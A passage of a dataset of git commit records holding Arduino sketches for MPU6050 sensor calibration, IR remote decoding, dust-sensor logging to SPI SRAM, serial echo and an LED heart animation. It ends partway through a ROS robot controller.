Serial.println(F(\"Send any character to start sketch.\\n\"));\n delay(1500);\n } \n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ start message\n Serial.println(\"\\nMPU6050 Calibration Sketch\");\n delay(2000);\n Serial.println(\"\\nYour MPU6050 should be placed in horizontal position, with package letters facing up. \\nDon't touch it until you see a finish message.\\n\");\n delay(3000);\n \/\/ verify connection\n Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n delay(1000);\n \/\/ reset offsets\n ax_initoffset=0;\n ay_initoffset=0;\n az_initoffset=0;\n gx_initoffset=0;\n gy_initoffset=0;\n gz_initoffset=0;\n\n accelgyro.setXAccelOffset(ax_initoffset);\n accelgyro.setYAccelOffset(ay_initoffset);\n accelgyro.setZAccelOffset(az_initoffset);\n accelgyro.setXGyroOffset(gx_initoffset);\n accelgyro.setYGyroOffset(gy_initoffset);\n accelgyro.setZGyroOffset(gz_initoffset);\n \n \/\/ set the fll scale range of the gyro- and accelerometer respectively\n accelgyro.setFullScaleGyroRange(0); \/\/0: 250deg\/s | 1: 500deg\/s | 2: 1000deg\/s | 3: 2000deg\/s\n accelgyro.setFullScaleAccelRange(0); \/\/0: 2g | 1: 4g | 2: 8g | 3: 16g\n \n \/\/ Get config from EEPROM if there is one\n \/\/ or initialise value with default ones set in StoreStruct\n EEPROM.setMemPool(MEMORYBASEMPUCALIBOFFSET, EEPROMSizeATmega328); \/\/Set memorypool base, assume Arduino Uno board\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ LOOP \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\n \n bool CalibResult=false;\n \n if (state==0){\n Serial.println(\"\\nReading sensors for first time...\");\n meansensors();\n \/\/if (abs(mean_ax)>=32000){ax_initoffset=-mean_ax;Serial.println(\"\\nRemove X-axis deadlock...\");}\n \/\/if (abs(mean_ay)>=32000){ay_initoffset=-mean_ay;Serial.println(\"\\nRemove Y-axis deadlock...\");}\n \/\/if (mean_az<-32000){az_initoffset=-mean_az;Serial.println(\"\\nRemove Z-axis deadlock...\");}\n \/\/if (abs(mean_gx)>=32000){gx_initoffset=-mean_gx;Serial.println(\"\\nRemove Gyro X-axis deadlock...\");}\n \/\/if (abs(mean_gy)>=32000){gy_initoffset=-mean_gy;Serial.println(\"\\nRemove Gyro Y-axis deadlock...\");}\n \/\/if (mean_gz<-32000){gz_initoffset=-mean_gz;Serial.println(\"\\nRemove Gyro Z-axis deadlock...\");}\n state++;\n delay(1000);\n }\n\n if (state==1) {\n Serial.println(\"\\nCalculating offsets...\");\n CalibResult=calibration();\n if (CalibResult) {\n Serial.println(\"\\nCalibration successful!\");\n }\n else {\n Serial.println(\"\\nCalibration failed!\");\n }\n state++;\n delay(1000);\n }\n\n if (state==2) {\n meansensors();\n ax_offsetEEPROM=ax_offset;\n ay_offsetEEPROM=ay_offset;\n az_offsetEEPROM=az_offset;\n gx_offsetEEPROM=gx_offset;\n gy_offsetEEPROM=gy_offset;\n gz_offsetEEPROM=gz_offset;\n \n Serial.println(\"\\nFINISHED!\");\n Serial.print(\"\\nSensor readings with offsets:\\t\");\n Serial.print(mean_ax); \n Serial.print(\"\\t\");\n Serial.print(mean_ay); \n Serial.print(\"\\t\");\n Serial.print(mean_az); \n Serial.print(\"\\t\");\n Serial.print(mean_gx); \n Serial.print(\"\\t\");\n Serial.print(mean_gy); \n Serial.print(\"\\t\");\n Serial.println(mean_gz);\n Serial.print(\"Your offsets:\\t\");\n Serial.print(ax_offset+ax_initoffset); \n Serial.print(\"\\t\");\n Serial.print(ay_offset+ay_initoffset); \n Serial.print(\"\\t\");\n Serial.print(az_offset+az_initoffset); \n Serial.print(\"\\t\");\n Serial.print(gx_offset+gx_initoffset); \n Serial.print(\"\\t\");\n Serial.print(gy_offset+gy_initoffset); \n Serial.print(\"\\t\");\n Serial.println(gz_offset+gz_initoffset); \n Serial.println(\"\\nData is printed as: acelX acelY acelZ giroX giroY giroZ\");\n Serial.println(\"Check that your sensor readings are close to 0 0 16384 0 0 0\");\n Serial.println(\"If calibration was succesful write down your offsets so you can set them in your projects using something similar to mpu.setXAccelOffset(youroffset)\");\n \n \/\/ wait for ready\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()){\n Serial.println(F(\"If you want to store the calibrated offset values into EEPROM, press \\\"y\\\" \\n\"));\n delay(1500);\n }\n int inByte=0; \n if (Serial.available() > 0) {\n \/\/while (Serial.available() && Serial.read()); \/\/ empty buffer again\n inByte = Serial.read();\n #ifdef DEBUGVERBOSE\n Serial.print(\"Pressed key: \");Serial.println(inByte);\n #endif\n }\n \n if (inByte==121) { \/\/ \"y\"\n \/\/ 1\n int addressInt = MEMORYBASEMPUCALIBOFFSET;\n int output;\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,ax_offsetEEPROM+ax_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 2\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,ay_offsetEEPROM+ay_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 3\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,az_offsetEEPROM+ax_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 4\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,gx_offsetEEPROM+gx_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 5\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,gy_offsetEEPROM+gy_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 6\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,gz_offsetEEPROM+gz_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n Serial.println(\"Calibrated offset values stored in EEPROM!\");\n }\n else {\n Serial.println(\"Exiting without storing calibrated offset values into EEPROM\");\n }\n \n #ifdef DEBUGVERBOSE\n \/\/ dump values stored in EEPROM\n for (uint8_t i = 0; i < 255; i++) {\n Serial.println(EEPROM.readByte(i));\n }\n #endif\n while (1);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ FUNCTIONS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid meansensors(){\n long i=0,buff_ax=0,buff_ay=0,buff_az=0,buff_gx=0,buff_gy=0,buff_gz=0;\n \n while (i<(buffersize+discardfirstmeas+1)){\n \/\/ read raw accel\/gyro measurements from device\n accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n \n if (i>discardfirstmeas && i<=(buffersize+discardfirstmeas)){ \/\/First 100 measures are discarded\n buff_ax=buff_ax+ax;\n buff_ay=buff_ay+ay;\n buff_az=buff_az+az;\n buff_gx=buff_gx+gx;\n buff_gy=buff_gy+gy;\n buff_gz=buff_gz+gz;\n }\n if (i==(buffersize+100)){\n mean_ax=buff_ax\/buffersize;\n mean_ay=buff_ay\/buffersize;\n mean_az=buff_az\/buffersize;\n mean_gx=buff_gx\/buffersize;\n mean_gy=buff_gy\/buffersize;\n mean_gz=buff_gz\/buffersize;\n }\n i++;\n delay(2); \/\/Needed so we don't get repeated measures\n }\n \n Serial.print(\"Results of measurements a\/g:\\t\");\n Serial.print(mean_ax); Serial.print(\"\\t\");\n Serial.print(mean_ay); Serial.print(\"\\t\");\n Serial.print(mean_az); Serial.print(\"\\t\");\n Serial.print(mean_gx); Serial.print(\"\\t\");\n Serial.print(mean_gy); Serial.print(\"\\t\");\n Serial.println(mean_gz);\n}\n\nbool calibration(){\n ax_offset=-mean_ax\/accel_offset_divisor;\n ay_offset=-mean_ay\/accel_offset_divisor;\n \/\/az_offset=-mean_az\/accel_offset_divisor;\n az_offset=(16384-mean_az)\/8;\n\n gx_offset=-mean_gx\/gyro_offset_divisor;\n gy_offset=-mean_gy\/gyro_offset_divisor;\n gz_offset=-mean_gz\/gyro_offset_divisor;\n while (1){\n int ready=0;\n accelgyro.setXAccelOffset(ax_offset+ax_initoffset);\n accelgyro.setYAccelOffset(ay_offset+ay_initoffset);\n accelgyro.setZAccelOffset(az_offset+az_initoffset);\n\n accelgyro.setXGyroOffset(gx_offset+gx_initoffset);\n accelgyro.setYGyroOffset(gy_offset+gy_initoffset);\n accelgyro.setZGyroOffset(gz_offset+gz_initoffset);\n\n meansensors();\n Serial.println(\"...\");\n\n if (abs(mean_ax)<=acel_deadzone) ready++;\n else ax_offset=ax_offset-mean_ax\/acel_deadzone;\n\n if (abs(mean_ay)<=acel_deadzone) ready++;\n else ay_offset=ay_offset-mean_ay\/acel_deadzone;\n\n \/\/if (abs(mean_az)<=acel_deadzone) ready++;\n \/\/else az_offset=az_offset-mean_az\/acel_deadzone;\n\n if (abs(16384-mean_az)<=acel_deadzone) ready++;\n else az_offset=az_offset+(16384-mean_az)\/acel_deadzone;\n\n if (abs(mean_gx)<=giro_deadzone) ready++;\n else gx_offset=gx_offset-mean_gx\/(giro_deadzone+1);\n\n if (abs(mean_gy)<=giro_deadzone) ready++;\n else gy_offset=gy_offset-mean_gy\/(giro_deadzone+1);\n\n if (abs(mean_gz)<=giro_deadzone) ready++;\n else gz_offset=gz_offset-mean_gz\/(giro_deadzone+1);\n\n if (ready==6) {\n return true; \n break;\n }\n\n Serial.print(\"Resulting offset calibration value a\/g:\\t\");\n Serial.print(ax_offset+ax_initoffset); Serial.print(\"\\t\");\n Serial.print(ay_offset+ay_initoffset); Serial.print(\"\\t\");\n Serial.print(az_offset+az_initoffset); Serial.print(\"\\t\");\n Serial.print(gx_offset+gx_initoffset); Serial.print(\"\\t\");\n Serial.print(gy_offset+gy_initoffset); Serial.print(\"\\t\");\n Serial.println(gz_offset+gz_initoffset);\n loopcount=loopcount+1;\n Serial.print(\"Loop Cnt: \");Serial.println(loopcount);\n if (loopcount==10) {\n return false; \n break; \/\/ exit the calibration routine if no stable results can be obtained after 20 calibration loops\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MPU6050_calibration.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"3920307c6f8c6309853c54aa977be1b4f2ef30b0","subject":"Create IR_Diag.ino","message":"Create IR_Diag.ino\n\nReads IR commands from an IR detector and displays the IR Code type, and hex value on an attached LCD. Requires IRRemote library to be installed.","repos":"bkibby\/arduino_things","old_file":"IR_Diag.ino","new_file":"IR_Diag.ino","new_contents":"\/*\n * IR_Diag -- Reads IR codes and displays them on an LCD, optionally to Serial\n * Bill Kibby 11\/06\/2014\n *\n * Based on the the IRremote library by Ken Shirriff: http:\/\/arcfn.com\n *\/\n\n#include <IRremote.h>\n#include <LiquidCrystal.h>\n\n\/* Configure the folllowing pin to read the IR detector *\/\nint RECV_PIN = 2;\nIRrecv irrecv(RECV_PIN);\ndecode_results results;\n\n\/* This is based on my LCD shield, you may need to adjust this *\/\nLiquidCrystal lcd(8, 9, 4, 5, 6, 7);\n\n\/* Remove any comments on Serial commands to dump results to serial port simultaniously *\/\n\nbyte block[8] = {\n 0b11111,\n 0b11111,\n 0b11111,\n 0b11111,\n 0b11111,\n 0b11111,\n 0b11111,\n 0b11111\n};\n\nvoid clearline(int line) \/* Clear previous line by printing an entire line of blocks, then really clearing line. Handy to see an update from several feet away *\/\n{\n int p;\n int w=30;\n for(p=0; p<16; p++) \n {\n lcd.setCursor(p,line);\n lcd.write((byte)0);\n delay(w);\n }\n delay(280);\n lcd.setCursor(0,line);\n lcd.write(\" \");\n}\n\nvoid setup()\n{\n \/\/ Serial.begin(115200);\n irrecv.enableIRIn();\n \/\/ Serial.println(\"Ready to decode IR!\");\n lcd.createChar(0, block); \/\/ create a new character\n lcd.begin(16, 2);\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"IR Remote Reader\");\n}\n\nvoid dump(decode_results *results){\n char buffer[10];\n clearline(1);\n int count = results->rawlen;\n if (results->decode_type == UNKNOWN) {\n \/\/ Serial.println(\"Could not decode message\");\n lcd.setCursor(0,1);\n lcd.write(\"UNKNOWN TYPE \");\n } \n else {\n if (results->decode_type == NEC) {\n \/\/ Serial.print(\"NEC: \");\n lcd.setCursor(0,1);\n lcd.write(\"NEC: \");\n } \n else if (results->decode_type == SONY) {\n \/\/ Serial.print(\"SONY: \");\n lcd.setCursor(0,1);\n lcd.write(\"SONY: \");\n } \n else if (results->decode_type == RC5) {\n \/\/ Serial.print(\"RC5: \");\n lcd.setCursor(0,1);\n lcd.write(\"RC5: \");\n } \n else if (results->decode_type == RC6) {\n \/\/ Serial.print(\"RC6: \");\n lcd.setCursor(0,1);\n lcd.write(\"RC6: \");\n }\n \/\/ Serial.println(results->value, HEX);\n sprintf(buffer, \"%08lX\", (unsigned long)results->value);\n \/\/ Serial.println(buffer);\n lcd.write(buffer);\n }\n}\n\nvoid loop() {\n if (irrecv.decode(&results)) {\n \/\/ Serial.println(results.value, HEX);\n dump(&results);\n irrecv.resume(); \/\/ Receive the next value\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'IR_Diag.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"cf28f62f715784cc196ffb02486e38a99a132045","subject":"Memory tested with Grove sensor","message":"Memory tested with Grove sensor\n\nSee worklog for details\n","repos":"alaviali\/OBI,alaviali\/OBI","old_file":"Meng\/grove_with_memory.ino","new_file":"Meng\/grove_with_memory.ino","new_contents":"\/\/ timer interrupt based grove dust sensor program\n\/\/ timer1 will interrupt at 1Hz\n\n\/\/ JST Pin 1 (Black Wire) = > Arduino GND\n\/\/ JST Pin 3 (Red wire) = > Arduino 5VDC\n\/\/ JST Pin 4 (Yellow wire) = > Arduino Digital Pin 8\n#include <SPI.h>\n\n\/\/toggle variables to monitor timer interrupt status using oscilloscope\nboolean toggle1 = 0;\n\nint pin = 8;\nunsigned long duration;\nunsigned long starttime;\nunsigned long sampletime_ms = 1000;\/\/sample 1s ;\nunsigned long lowpulseoccupancy = 0;\nfloat ratio = 0;\nfloat concentration = 0;\n\n\/\/SRAM opcodes\n#define RDSR 5\n#define WRSR 1\n#define READ 3\n#define WRITE 2\n\n\/\/Byte transfer functions\nuint8_t Spi23LC1024Read8(uint32_t address) {\n\tuint8_t read_byte;\n\n\tPORTB &= ~(1 << PORTB2); \/\/set SPI_SS low\n\tSPI.transfer(READ);\n\tSPI.transfer((uint8_t)(address >> 16) & 0xff);\n\tSPI.transfer((uint8_t)(address >> 8) & 0xff);\n\tSPI.transfer((uint8_t)address);\n\tread_byte = SPI.transfer(0x00);\n\tPORTB |= (1 << PORTB2); \/\/set SPI_SS high\n\treturn read_byte;\n}\n\nvoid Spi23LC1024Write8(uint32_t address, uint8_t data_byte) {\n\tPORTB &= ~(1 << PORTB2); \/\/set SPI_SS low\n\tSPI.transfer(WRITE);\n\tSPI.transfer((uint8_t)(address >> 16) & 0xff);\n\tSPI.transfer((uint8_t)(address >> 8) & 0xff);\n\tSPI.transfer((uint8_t)address);\n\tSPI.transfer(data_byte);\n\tPORTB |= (1 << PORTB2); \/\/set SPI_SS high\n}\n\nvoid setup(){\n\n\t\/\/set pins as outputs\n\tSerial.begin(9600);\n\tSPI.begin();\n\tpinMode(8, INPUT);\n\tpinMode(5, OUTPUT);\n\n\tcli();\/\/stop interrupts\n\t\n\t\/\/set timer1 interrupt at 1Hz\n\tTCCR1A = 0;\/\/ set entire TCCR1A register to 0\n\tTCCR1B = 0;\/\/ same for TCCR1B\n\tTCNT1 = 0;\/\/initialize counter value to 0\n\t\/\/ set compare match register for 1hz increments\n\tOCR1A = 62499;\/\/ must be <65536, see worklog for calculation\n\t\/\/ turn on CTC mode\n\tTCCR1B |= (1 << WGM12);\n\t\/\/ Set CS12 and CS10 bits for 1024 prescaler\n\tTCCR1B |= (1 << CS12) | (1 << CS10);\n\t\/\/ enable timer compare interrupt\n\tTIMSK1 |= (1 << OCIE1A);\n\t\n\tsei();\/\/enable global interrupts\n\t\n}\/\/end setup\n\nISR(TIMER1_COMPA_vect){\/\/timer1 interrupt 1Hz toggles pin 13 (LED)\n\t\/\/generates pulse wave of the same fequency as the interrupt, monitor using oscilloscope\n\tif (toggle1){\n\t\tdigitalWrite(5, HIGH);\n\t\ttoggle1 = 0;\n\t}\n\telse{\n\t\tdigitalWrite(5, LOW);\n\t\ttoggle1 = 1;\n\t} \/\/ THIS PART NEEDS TO BE COMMENTED OUT IN FINAL CODE!\n\n\tratio = lowpulseoccupancy \/ (sampletime_ms*10.0); \/\/ Integer percentage 0=>100\n\tconcentration = 1.1*pow(ratio, 3) - 3.8*pow(ratio, 2) + 520 * ratio + 0.62; \/\/ using spec sheet curve\n\n\tuint16_t concentration16 = (uint16_t)concentration;\n\tuint8_t upperh = (uint8_t)(concentration16 >> 8);\n\tuint8_t lowerh = (uint8_t)(concentration16);\n\tuint16_t concentration_new = (upperh << 8) | lowerh;\n\n\tSerial.print(\"Concentration: \");\n\tSerial.println(concentration16);\n\tSerial.print(\"\\tRepeated: \");\n\tSerial.println(concentration_new);\n\n\tSpi23LC1024Write8(0, upperh);\n\tSpi23LC1024Write8(1, lowerh);\n\n\tuint8_t upperh_new = Spi23LC1024Read8(0);\n\tuint8_t lowerh_new = Spi23LC1024Read8(1);\n\n\tuint16_t concentration_read = (upperh_new << 8) | lowerh_new;\n\tSerial.print(\"\\t\\tRead out: \");\n\tSerial.println(concentration_read);\n\n\tlowpulseoccupancy = 0;\n} \n\nvoid loop(){\n\tduration = pulseIn(pin, LOW);\n\tlowpulseoccupancy = lowpulseoccupancy + duration; \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Meng\/grove_with_memory.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95afb63400063b36042d7b529928d7043d318f8c","subject":"New exaple for Serial communication","message":"New exaple for Serial communication\n","repos":"bechynsky\/ArduinoWorkshop,bechynsky\/ArduinoWorkshop","old_file":"SerialCommunication\/SerialCommunication.ino","new_file":"SerialCommunication\/SerialCommunication.ino","new_contents":"void setup() {\n Serial.begin(9600);\n\n while (!Serial) {\n ; \/\/ cekani na seriovy port\n }\n\n Serial.print(\"Napiste sve jmeno: \");\n}\n\nvoid loop() {\n if (Serial.available() > 0) { \n String text = Serial.readString();\n\n Serial.println(text);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SerialCommunication\/SerialCommunication.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cb54e30dbf3a11bada93439bfe47b7eb8303f222","subject":"Adding working rainbowduino heart animation","message":"Adding working rainbowduino heart animation\n","repos":"kigster\/kiguino,kigster\/kiguino","old_file":"sketches\/rainbow_heart\/rainbow_heart.ino","new_file":"sketches\/rainbow_heart\/rainbow_heart.ino","new_contents":"\/*\n * Rainbowduino-based Heart Animation\n *\n * Created on: Jul 30, 2014\n * Author: Konstantin Gredeskoul\n *\n * \u00a9 2014 All rights reserved. Please see LICENSE.\n *\n *\/\n\n#include <Rainbowduino.h>\n\nconst char *hearts[] = {\n\t\t\".XX.XX..\"\n\t\t\"XXXXXXX.\"\n\t\t\"XXXXXXX.\"\n\t\t\".XXXXX..\"\n\t\t\"..XXX...\"\n\t\t\"...X....\"\n\t\t\"........\"\n\t\t\"........\",\n\n\t\t\"........\"\n\t\t\".XX.XX..\"\n\t\t\"XXXXXXX.\"\n\t\t\"XXXXXXX.\"\n\t\t\".XXXXX..\"\n\t\t\"..XXX...\"\n\t\t\"...X....\"\n\t\t\"........\",\n\n\t\t\"........\"\n\t\t\"........\"\n\t\t\".XX.XX..\"\n\t\t\"XXXXXXX.\"\n\t\t\"XXXXXXX.\"\n\t\t\".XXXXX..\"\n\t\t\"..XXX...\"\n\t\t\"...X....\" ,\n\n\t\t\"........\"\n\t\t\"........\"\n\t\t\"..XX.XX.\"\n\t\t\".XXXXXXX\"\n\t\t\".XXXXXXX\"\n\t\t\"..XXXXX.\"\n\t\t\"...XXX..\"\n\t\t\"....X...\",\n\n\t\t\"........\"\n\t\t\"..XX.XX.\"\n\t\t\".XXXXXXX\"\n\t\t\".XXXXXXX\"\n\t\t\"..XXXXX.\"\n\t\t\"...XXX..\"\n\t\t\"....X...\"\n\t\t\"........\",\n\n\n\t\t\"..XX.XX.\"\n\t\t\".XXXXXXX\"\n\t\t\".XXXXXXX\"\n\t\t\"..XXXXX.\"\n\t\t\"...XXX..\"\n\t\t\"....X...\"\n\t\t\"........\"\n\t\t\"........\"\n};\n\n\nconst uint8_t\n\t\tnumberOfHearts = 6,\n\t\tmatrixSize = 8,\n\t\tmatrix2DSize = matrixSize * matrixSize;\n\nuint32_t i;\nuint8_t x, length;\n\nint randomColor;\n\n\nvoid getLineFromPattern(const char *pattern, uint8_t i, uint8_t *x, uint8_t *length) {\n\tbool lineStarted = false;\n\t*x = *length = 0;\n\tfor(uint8_t j = 0; j < matrixSize; j++) {\n\t\tchar c = pattern[i + j * matrixSize];\n\t\tif (!lineStarted && c == 'X') {\n\t\t\t*x = j;\n\t\t\tlineStarted = true;\n\t\t} else if (lineStarted && (c == '.')) {\n\t\t\t*length = j - *x;\n\t\t\tlineStarted = false;\n\t\t\tbreak;\n\t\t} else if (lineStarted && j == matrixSize - 1) {\n\t\t\t*length = j - *x + 1;\n\t\t\tlineStarted = false;\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid drawHeart(uint32_t color, uint8_t delayMs, const char* pattern) {\n\tfor (uint8_t i = 0; i < matrixSize; i++) {\n\t\tgetLineFromPattern(pattern, i, &x, &length);\n\t\tif (length > 0)\n\t\t\tRb.drawHorizontalLine(x, i, length, color);\n\t\tif (delayMs > 0) { \tdelay(delayMs);\t}\n\t}\n}\n\nvoid fillOutRandom(uint32_t color, const char* pattern) {\n\tuint16_t i;\n\n\tchar matrix[matrix2DSize];\n\tfor (i = 0; i < matrix2DSize; i++) {\n\t\tmatrix[i] = '_';\n\t}\n\n\ti = 0;\n\twhile (strncmp(pattern, matrix, matrix2DSize) != 0) {\n\t\ti++;\n\t\tuint8_t coordinate = rand() % matrix2DSize;\n\t\tif (matrix[coordinate] != '_')\n\t\t\tcontinue;\n\n\t\tif (pattern[coordinate] == 'X' && matrix[coordinate] != 'X') {\n\t\t\tRb.drawHorizontalLine(coordinate \/ matrixSize, coordinate % matrixSize, 1, color);\n\t\t\tdelay(50);\n\t\t\tcontinue;\n\t\t}\n\t\tif (matrix[coordinate] != pattern[coordinate]) {\n\t\t\tmatrix[coordinate] = pattern[coordinate];\n\t\t\tcontinue;\n\t\t}\n\t\tif (i > 16000) { return; }\n\t}\n}\n\n\nvoid setup() {\n\tRb.init();\n\tSerial.begin(9600);\n\tsrand(millis());\n}\n\n\nvoid loop() {\n\trandomColor = rand() % 8 + 1;\n\tfor (uint8_t j = 0; j < numberOfHearts; j++) {\n\t\t\/\/ only vary red's intensity\n\t\tdrawHeart(randomColor * 0x100000, 1, hearts[j]);\n\t\tdelay(300);\n\t\tRb.blankDisplay();\n\t}\n\n\tdelay(60000);\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/rainbow_heart\/rainbow_heart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ebffcc21b33041c7392c2c85355098ce89fe4a5d","subject":"arm auto shutdown","message":"arm auto shutdown\n","repos":"slesinger\/robik_arduino,slesinger\/robik_arduino,slesinger\/robik-arduino,slesinger\/robik-arduino","old_file":"robik_arduino.ino","new_file":"robik_arduino.ino","new_contents":"\/*\n * On the Arduino Mega we have 6 timers and 15 PWM outputs:\n * Pins 4 and 13: controlled by timer0 (used by clock)\n * Pins 11 and 12: controlled by timer1 (Servo library)\n * Pins 9 and10: controlled by timer2 (NewPing)\n * Pin 2, 3 and 5: controlled by timer 3 (free)\n * Pin 6, 7 and 8: controlled by timer 4 (free)\n * Pin 46, 45 and 44:: controlled by timer 5 (free)\n *\n * PWM pins 2-13, 44-46. Free 9: 2,3,5,6,7,8,44,45,46\n *\n * IMU MPU9150 uses library from https:\/\/github.com\/richards-tech\/RTIMULib-Arduino.git\n *\/\n\n#include <NewPing.h>\n#include <Servo.h>\n#include <RunningMedian.h>\n#include <Wire.h>\n#include \"I2Cdev.h\"\n#include \"RTIMUSettings.h\"\n#include \"RTIMU.h\"\n#include \"CalLib.h\"\n#include <EEPROM.h>\n#include <ros.h>\n#include \"geometry_msgs\/Twist.h\"\n#include \"robik\/GenericStatus.h\"\n#include \"robik\/GenericControl.h\"\n#include \"robik\/ArmControl.h\"\n#include \"robik.h\"\n#include \"robot_config.h\"\n#include \"robik_api.h\"\n\n\nros::NodeHandle nh;\n\nvoid genericMessageListener(const robik::GenericControl& msg);\nvoid armMessageListener(const robik::ArmControl& msg);\nvoid velocityMessageListener(const geometry_msgs::Twist& msg);\nros::Subscriber<robik::GenericControl> sub_generic_control(\"robik_generic_control\", &genericMessageListener);\nros::Subscriber<robik::ArmControl> sub_arm_control(\"robik_arm_control\", &armMessageListener);\nros::Subscriber<geometry_msgs::Twist> sub_velocity_control(\"robik_velocity_control\", &velocityMessageListener);\n\nrobik::GenericStatus status_msg;\nros::Publisher pub_status(\"robik_status\", &status_msg);\n\nunsigned long range_timer50;\nint motor_left_dir = 1; \/\/direction for motor expected to go. 1 means forward\nint motor_right_dir = 1;\ndouble req_motor_left = 0; \/\/store required wheel velocity\ndouble req_motor_right = 0;\ndouble old_motor_left = 0; \/\/store to compare if speed changed since last cmd_vel\ndouble old_motor_right = 0;\nlong odom_ticks_left_since_cmd = 0;\nlong odom_ticks_right_since_cmd = 0;\nunsigned long millis_since_cmd = 0;\n\n\/\/sonar.h\nunsigned long pingTimer;\nNewPing sonar(PIN_USOUND_TRIG, PIN_USOUND_ECHO, MAX_DISTANCE);\nvoid echoCheck();\n\n\/\/IMU\nRTIMU *imu; \/\/ the IMU object\nRTIMUSettings settings; \/\/ the settings object\nvoid read_IMU();\nvoid clean_IMU();\n\n\/\/DISPLAY_INTERVAL sets the rate at which results are displayed\n#define DISPLAY_INTERVAL 300 \/\/ interval between pose displays\n\nunsigned long lastDisplay;\nunsigned long lastRate;\nint sampleCount = 0;\n\n\/\/determine the sign of a value\ntemplate <typename type>\ntype sign(type value) {\n\treturn type((value>0)-(value<0));\n}\n\ntemplate <typename type>\ntype signNZ(type value) {\n\treturn (value < 0) ? -1 : 1;\n}\n\n\/\/arm.h\nvoid armPreInit();\nvoid armSetJointState(uint32_t clamp, uint32_t roll, uint32_t elbow, uint32_t shoulder, uint32_t yaw, uint32_t time_to_complete);\nunsigned long servoSenseTimer;\nFastRunningMedian<unsigned int,32, 0> servoSenseMedian_yaw;\nFastRunningMedian<unsigned int,32, 0> servoSenseMedian_shoulder;\nFastRunningMedian<unsigned int,32, 0> servoSenseMedian_elbow;\nFastRunningMedian<unsigned int,32, 0> servoSenseMedian_roll;\nFastRunningMedian<unsigned int,32, 0> servoSenseMedian_clamp;\nuint32_t shoulder2 = 512;\nestimated_pos_t estimated_clamp_pos;\nvoid refreshMotorJoints();\nunsigned long arm_enabled_time = 0;\nunsigned long arm_disabled_time = 1;\n\n\/\/move.h\nvoid intr_left_encoder();\nvoid intr_right_encoder();\nvoid velocity_control_VelTh(float vel, float th);\nvoid velocity_control_LR();\nint motor_vel_to_pwm(double vel);\n\n\/\/parking.h\n#define PARK_BACKSPEED -0.17 \/\/-0.1 necouva\n#define PARK_TURNSPEED 0.9 \/\/calibrated, do not put less, it won't work unless excitation energy will be provided\n#define PARK_BACKTURNSPEED_SLOW_RATIO 0.2\n#define PARKPHASE_NOPARKING 0\n#define PARKPHASE_NAVIGATING 1\n#define PARKPHASE_ROTATING 2\n#define PARKPHASE_BACKWARD 3\n#define PARKPHASE_PARKED 4\n\t\/\/0: normal operation;\n\t\/\/1: navigating to base;\n\t\/\/2: rotating to find laser;\n\t\/\/3: going backwards;\n\t\/\/4: final stage going backwards\nint state_parking = 0;\nint park_last_spotted = 0; \/\/0: no value; 1: inner; -1: outer\n\nvoid park_rotating(bool inner, bool outer);\nvoid park_backward(bool inner, bool outer);\nvoid park_parked(bool inner, bool outer);\nvoid handle_parking();\n\n\/*------------------Utils----------------------------*\/\n#define LOG_STR_LEN 150\nchar charBuf[LOG_STR_LEN + 1];\nchar strtmp[LOG_STR_LEN + 1];\n\nvoid init_variables() {\n\n\testimated_clamp_pos.orig_time.sec = 